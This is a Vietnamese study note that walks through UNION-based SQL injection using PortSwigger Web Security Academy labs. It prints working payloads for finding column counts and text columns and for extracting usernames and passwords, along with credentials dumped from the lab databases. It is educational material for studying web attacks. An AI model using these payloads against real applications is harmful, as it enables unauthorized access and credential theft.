How it Works?

Khi cần lấy thông tin của bảng khác, chúng ta có thể sử dụng từ khóa UNION để nối kết quả truy vấn của hai câu truy vấn lại với nhau.

Giả sử ứng dụng xây dựng câu truy vấn có dạng như sau:

query = "SELECT product_name, product_cost, product_description FROM product_table WHERE product_name = '" + USER_INPUT + "';";

Nếu attacker nhập dữ liệu vào USER_INPUT là:

soap' UNION SELECT username,password,NULL FROM user_table;-- -

Khi chương trình gắn dữ liệu của attacker vào thì câu truy vấn sẽ trở thành:

SELECT product_name, product_cost, product_description FROM product_table WHERE product_name = 'soap' UNION SELECT username,password,NULL FROM user_table;-- -';

Ký tự -- trong đa số các DBMS có tác dụng comment, do đó các ký tự ở sau USER_INPUT sẽ không được áp dụng.

Lý do sử dụng -- -

Ta đã biết cặp dấu hyphen -- sẽ giúp tạo ra một comment ở trong SQL. Tuy nhiên, một số DBMS còn yêu cầu sau cặp dấu -- phải là một khoảng trắng thì mới tính là một comment hợp lệ.

Mà đa phần các trình duyệt đều sẽ xóa bỏ đi ký tự khoảng trắng ở cuối nên ta cần phải thêm một ký tự - ở cuối để bảo vệ ký tự khoảng trắng.

Tương tự với ký tự ; ở cuối payload, ta có thể không cần dùng ký tự này đối với một số DBMS.

Prerequisites

Kỹ thuật này có hai điều kiện cần thỏa mãn:

  1. Kết quả của hai câu truy vấn phải trả về cùng số lượng cột.
  2. Kiểu dữ liệu của các cột ở hai câu truy vấn phải tương thích với nhau.

Để giải quyết hai điều kiện trên, ta cần:

  1. Xác định số cột được trả về bởi câu truy vấn gốc (câu truy vấn được thực hiện bởi hệ thống).
  2. Xác định cột trả về trong câu truy vấn gốc mà có kiểu dữ liệu thích hợp để lưu trữ dữ liệu mà ta mong muốn truy xuất từ database.

Note

Tất cả các bài lab bên dưới đều được khai thác ở query param category của endpoint /filter.

Determining the Number of Columns Required

Khi thực hiện UNION SQL injection, để tìm ra số lượng cột, ta có thể dùng mệnh đề ORDER BY # với # là chỉ số cột và có giá trị tăng dần. Ví dụ:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.

Khi chỉ số cột vượt quá số lượng cột trong bảng, database sẽ thông báo lỗi:

The ORDER BY position number 3 is out of range of the number of items in the select list.

Ứng dụng có thể trả thẳng thông báo lỗi này cho người dùng hoặc trả về một thông báo lỗi tổng quát hơn. Thậm chí nó có thể không trả về kết quả gì trong response.

Bằng cách xem xét sự thay đổi trong response, chúng ta có thể suy luận ra số cột có trong bảng.

Còn một cách khác là sử dụng mệnh đề SELECT với các giá trị NULL có số lượng tăng dần:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

Chúng ta sử dụng giá trị NULL nhằm đảm bảo tính tương thích giữa các cột trong hai bảng (NULL có thể chuyển thành bất kỳ kiểu dữ liệu nào).

Nếu số lượng cột của câu SELECT sau không khớp với câu truy vấn gốc, database sẽ trả về lỗi:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

Tương tự như với kỹ thuật sử dụng ORDER BY, ta cần phân tích dữ liệu trong response trả về để xác định số cột của bảng.

Lab: SQL Injection UNION Attack, Determining the Number of Columns Returned by the Query

Sử dụng kỹ thuật SELECT NULL, số giá trị NULL tối đa mà không xảy ra lỗi là 3:

' UNION SELECT NULL, NULL, NULL--

Database-specific Syntax

Trong Oracle database, mọi câu SELECT đều cần phải đi với keyword FROM. Chúng ta có thể dùng bảng DUAL để làm đối tượng query:

' UNION SELECT NULL FROM DUAL--

SQL Injection Cheat Sheet

Tham khảo thêm SQL injection cheat sheet | Web Security Academy (portswigger.net)

Finding Columns with a Useful Data Type

Do thông tin mà ta muốn trích xuất từ UNION-based attack thường ở dạng chuỗi nên ta cần tìm một cột có kiểu dữ liệu tương thích với dạng chuỗi. Sau khi tìm ra số lượng cột, ta có thể thay thế giá trị chuỗi vào từng cột như sau:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

Nếu cột được chọn không tương thích với kiểu chuỗi, database sẽ hiển thị ra thông báo như sau:

Conversion failed when converting the varchar value 'a' to data type int.

Lab: SQL Injection UNION Attack, Finding a Column Containing Text

Trước tiên, tìm được số lượng cột của bảng là 3. Sau đó sử dụng payload trên để thử từng cột và tìm ra cột có thể chứa chuỗi là cột thứ 2:

' union select null,'wAcIoM',null--

Using a SQL Injection UNION Attack to Retrieve Interesting Data

Sau khi biết số lượng cột và tìm ra cột có thể chứa chuỗi thì ta tiến hành truy xuất dữ liệu từ DB.

Payload sau giúp truy xuất username và password từ bảng users:

' UNION SELECT username, password FROM users--

Vấn đề quan trọng là ta phải tìm được tên bảng và tên các cột mà ta cần truy vấn.

Lab: SQL Injection UNION Attack, Retrieving Data From Other Tables

Biết được số lượng cột là 2. Sử dụng payload trên để truy xuất username và password. Thu được ba credential như sau:

usernamepassword
wienertk4tddfx62wfbr81o7wv
carlosiop4e5kkiic9uefpzyyb
administratora8g5fxxv5ad9b9gbjc33

Đăng nhập vào admin.

Retrieving Multiple Values Within a Single Column

Trong trường hợp bảng gốc chỉ có 1 cột có thể chứa chuỗi mà ta muốn truy vấn nhiều cột thì cần phải sử dụng kỹ thuật nối chuỗi:

' UNION SELECT username || '~' || password FROM users--

Note

Các database khác nhau sẽ có toán tử nối chuỗi khác nhau.

Lab: SQL Injection UNION Attack, Retrieving Multiple Values in a Single Column

Tìm được số lượng cột là 2 và chỉ có cột thứ 2 có thể chứa chuỗi, sử dụng payload sau:

' union select null, username || ' - ' || password from users--

Kết quả:

usernamepassword
carlos0jc56xakm06n8qjkehjs
wiener2hnrvgaa9vxknyt7m17w
administratormq877t522cr39srai0ok

Đăng nhập vào admin.

list
from outgoing([[Port Swigger - Union-Based SQL Injection]])
sort file.ctime asc

Resources